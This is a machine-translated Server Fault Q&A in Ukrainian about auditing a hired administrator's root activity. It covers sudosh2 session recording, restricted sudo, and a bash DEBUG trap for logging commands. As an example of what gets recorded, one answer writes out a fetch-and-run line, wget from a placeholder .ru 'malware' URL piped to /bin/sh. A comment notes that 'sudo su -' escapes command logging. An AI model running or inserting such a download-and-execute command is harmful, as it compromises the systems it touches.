Журнал кожної команди, виконаної з root


16

Я хочу надати доступ до мого кореневого сервера зовнішньому системному адміністратору, але я хочу бути впевненим, щоб двічі перевірити, що він робить на моєму сервері, наприклад, копіюючи дані, я не хочу, щоб вони це робили тощо. Я також хотів би відстежувати, до якого файлу можна отримати доступ, навіть у режимі лише для читання та не редагуваного.

Як я можу це зробити?


1
Дивіться відповідне запитання: serverfault.com/questions/181131/… ?
— Стефан Ласєвський

Відповіді:


21

Довіряйте, але перевіряйте!

Перевірте sudosh2 . sudosh2 надається портами FreeBSD. Пакети доступні для RedHat та Ubuntu. Ось опис з їх веб-сайту:

sudosh є ревізійним фільтром оболонки і може використовуватися як оболонка для входу. Sudosh записує всі натискання клавіш і вихід і може відтворювати сеанс так само, як і відеомагнітофон.

Sudosh дозволить вам відтворити сеанс користувача, що дозволить вам бачити весь вхід і вихід так, як бачив користувач. Ви бачите все, натискання клавіш, друкарські помилки, зворотні проміжки, що вони редагували vi, вихід wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shта ін.

Можна надіслати журнали sudosh до syslog, щоб вони могли зберігатися на центральному сервері syslog подалі від системи.

Зауважте, що sudosh2 є заміною для sudosh, який його кинув автор

Чи працюєте ви в академічній установі, де користувачі наполягають на привілейованості надвисокого рівня? Або ви працюєте в корпорації і хочете дозволити користувачам мати привілеї суперпользователя на своїх власних комп'ютерах? Це може бути рішенням для вас.


1
Чудово - я раніше не чув про судош.
— ЄЕАА

2
Що це за "відеомагнітофон", про який ви говорите?
— Том Мартенал

2
Це як 8-трек, але ви можете записувати власні телепередачі!
— Стефан Ласєвський

22

Не дайте йому кореневого доступу. Натомість дайте йому непривілейований обліковий запис користувача та попросіть його виконати всю свою роботу sudo, яка записуватиме всі його команди.

Майте у вигляді , що , якщо ця людина має згубні наміри і ви даєте йому повні права SUDO, він буде знайти спосіб , щоб здійснити ці недобрі наміри , не ті команди , які увійшли. У цьому випадку надайте йому лише доступ до певних команд, які йому потрібні для виконання своєї роботи.


я хочу зробити це якомога важче, не завдаючи болю своєму життю. Дякую за відповідь.
— cedivad

Ви можете просто запустити sudo su -і мати кореневу оболонку, яка не буде зареєстрована (за винятком того, що ви її запустили). Це те, що я зазвичай набираю, коли хочу виконати більше однієї команди як root за один раз, або якщо я хочу заповнити вкладки в каталогах, які звичайні користувачі не можуть читати.
— rjmunro

@rjmunro - саме тому я видав застереження про надання йому лише конкретного доступу, який йому потрібен. При бажанні ви можете явно заборонити sudo su -.
— EEAA

1

Я не знайомий з sudosh2, але я вкладаю наступне у своє, .bashrcщоб увійти до команди всі команди, які я ввожу в bashоболонці, до файлу ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Вищезазначене встановлює пастку DEBUG, яка виконується безпосередньо перед виконанням звичайної команди. callerВбудований використовуються для тестування чи команда в даний час , набрані в інтерактивній оболонці або запустити через що - щось подібне .bashrc. Значення ${BASH_COMMAND}містить команду, яка виконується в даний час.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.